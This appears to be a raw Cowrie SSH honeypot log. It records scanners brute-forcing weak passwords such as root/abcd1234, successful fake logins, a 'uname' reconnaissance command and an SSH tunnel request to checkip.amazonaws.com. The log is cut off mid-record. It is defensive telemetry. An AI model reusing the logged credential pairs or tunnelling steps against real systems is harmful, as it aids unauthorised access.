{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:05:19.962655Z","src_ip":"2.57.122.208","session":"6341192c0d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:05:20.526325Z","src_ip":"2.57.122.208","session":"6341192c0d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:05:21.786328Z","src_ip":"2.57.122.208","session":"6341192c0d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":59978,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d27055c2af7","protocol":"ssh","message":"New connection: 139.19.117.129:59978 (159.203.135.109:22) [session: 8d27055c2af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:40.471264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:40.477149Z","src_ip":"139.19.117.129","session":"8d27055c2af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:40.569782Z","src_ip":"139.19.117.129","session":"8d27055c2af7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGpImNMYs18pI0vf9uo92skKKko1/CECMRjQFtPUvHompfX8mflBTEd1mJkMqYbSgNydIAigxnP4PeyTTAXUsmi9076bqeYTvdQ9SSrMXJsG4xJjyfhSxfbE6w9O90BxRt1/Mx2WIK1MHwlJ2t+lCdV/Mpw93wBJYdb8I8lvWz4punK7h1KYrVMGeqGFMUzUVz7zmpytbdOrSbt9KbbMUlgYXZdpfsFoL3fxswmXG51wxisjHw62nnxb76QjAHCBZhpkhbgqSz0EGKH6s4UihQ+Zo76CxA476TajadPrWqtT+N+aBzLukpoPKprR5+G48HTGBgyyDSQRC1ObOhkQj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:40.756404Z","src_ip":"139.19.117.129","session":"8d27055c2af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGpImNMYs18pI0vf9uo92skKKko1/CECMRjQFtPUvHompfX8mflBTEd1mJkMqYbSgNydIAigxnP4PeyTTAXUsmi9076bqeYTvdQ9SSrMXJsG4xJjyfhSxfbE6w9O90BxRt1/Mx2WIK1MHwlJ2t+lCdV/Mpw93wBJYdb8I8lvWz4punK7h1KYrVMGeqGFMUzUVz7zmpytbdOrSbt9KbbMUlgYXZdpfsFoL3fxswmXG51wxisjHw62nnxb76QjAHCBZhpkhbgqSz0EGKH6s4UihQ+Zo76CxA476TajadPrWqtT+N+aBzLukpoPKprR5+G48HTGBgyyDSQRC1ObOhkQj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:40.760201Z","src_ip":"139.19.117.129","session":"8d27055c2af7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGpImNMYs18pI0vf9uo92skKKko1/CECMRjQFtPUvHompfX8mflBTEd1mJkMqYbSgNydIAigxnP4PeyTTAXUsmi9076bqeYTvdQ9SSrMXJsG4xJjyfhSxfbE6w9O90BxRt1/Mx2WIK1MHwlJ2t+lCdV/Mpw93wBJYdb8I8lvWz4punK7h1KYrVMGeqGFMUzUVz7zmpytbdOrSbt9KbbMUlgYXZdpfsFoL3fxswmXG51wxisjHw62nnxb76QjAHCBZhpkhbgqSz0EGKH6s4UihQ+Zo76CxA476TajadPrWqtT+N+aBzLukpoPKprR5+G48HTGBgyyDSQRC1ObOhkQj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:40.855049Z","src_ip":"139.19.117.129","session":"8d27055c2af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:c5:05:b4:04:fb:f9:3e:74:a7:7c:19:1e:89:5f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuGpImNMYs18pI0vf9uo92skKKko1/CECMRjQFtPUvHompfX8mflBTEd1mJkMqYbSgNydIAigxnP4PeyTTAXUsmi9076bqeYTvdQ9SSrMXJsG4xJjyfhSxfbE6w9O90BxRt1/Mx2WIK1MHwlJ2t+lCdV/Mpw93wBJYdb8I8lvWz4punK7h1KYrVMGeqGFMUzUVz7zmpytbdOrSbt9KbbMUlgYXZdpfsFoL3fxswmXG51wxisjHw62nnxb76QjAHCBZhpkhbgqSz0EGKH6s4UihQ+Zo76CxA476TajadPrWqtT+N+aBzLukpoPKprR5+G48HTGBgyyDSQRC1ObOhkQj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:40.858802Z","src_ip":"139.19.117.129","session":"8d27055c2af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":58650,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c72c483aca","protocol":"ssh","message":"New connection: 14.225.2.125:58650 (159.203.135.109:22) [session: 17c72c483aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:44.883424Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:45.144202Z","src_ip":"14.225.2.125","session":"17c72c483aca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":58654,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f7514716ef","protocol":"ssh","message":"New connection: 14.225.2.125:58654 (159.203.135.109:22) [session: 50f7514716ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:45.423451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:45.428458Z","src_ip":"14.225.2.125","session":"50f7514716ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:45.707918Z","src_ip":"14.225.2.125","session":"50f7514716ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qazxsw2","message":"login attempt [root/qazxsw2] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:46.542794Z","src_ip":"14.225.2.125","session":"50f7514716ef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:47.136266Z","src_ip":"14.225.2.125","session":"50f7514716ef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:47.139653Z","src_ip":"14.225.2.125","session":"50f7514716ef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:47.421642Z","src_ip":"14.225.2.125","session":"50f7514716ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:47.426390Z","src_ip":"14.225.2.125","session":"50f7514716ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:06:50.471372Z","src_ip":"139.19.117.129","session":"8d27055c2af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44694,"dst_ip":"159.203.135.109","dst_port":22,"session":"badaa0ea1d14","protocol":"ssh","message":"New connection: 2.57.122.208:44694 (159.203.135.109:22) [session: badaa0ea1d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:07:35.807967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:07:35.854062Z","src_ip":"2.57.122.208","session":"badaa0ea1d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:07:35.933228Z","src_ip":"2.57.122.208","session":"badaa0ea1d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:07:36.328880Z","src_ip":"2.57.122.208","session":"badaa0ea1d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:07:37.432272Z","src_ip":"2.57.122.208","session":"badaa0ea1d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":57260,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a8c1d212160","protocol":"ssh","message":"New connection: 80.94.95.118:57260 (159.203.135.109:22) [session: 8a8c1d212160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:25.874589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:25.882848Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:25.989015Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:26.508743Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.195.239.56","dst_port":443,"src_ip":"80.94.95.118","src_port":38134,"message":"direct-tcp connection request to 54.195.239.56:443 from 127.0.0.1:38134","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:29.791913Z","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.195.239.56","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.195.239.56:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:09:30.192038Z","src_ip":"80.94.95.118","session":"8a8c1d212160","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.195.239.56","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\xe0\\xd5\\x8b\\xc5\\xed\\x86\\x1c\\x98\\x90\\x89MQ\\x89\\x86X0z\\x05\\xf5\\xf0\\x7fdk\\xfc:\\xd8\\x1a|\\xa9\\x8dY 0\\x0b)\\r+\\x81\\xa3\\x03\\x1f\\x1d\\x08\\x05\\r\\x12?\\x88\\x11j\\xcdM\\x07\\xfdC]+trk6t\\xfd\\xa1\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x13\\x91\\xdd\\xeb\\\\\\x83)d[\\xcaK\\xb9'\\xed >\\x8a\\x9d\\xacW\\x89\\x0c\\x1c\\x01\\xe1M\\x8e\\xa3\\x84v\\xf0e\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.195.239.56:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\xe0\\xd5\\x8b\\xc5\\xed\\x86\\x1c\\x98\\x90\\x89MQ\\x89\\x86X0z\\x05\\xf5\\xf0\\x7fdk\\xfc:\\xd8\\x1a|\\xa9\\x8dY 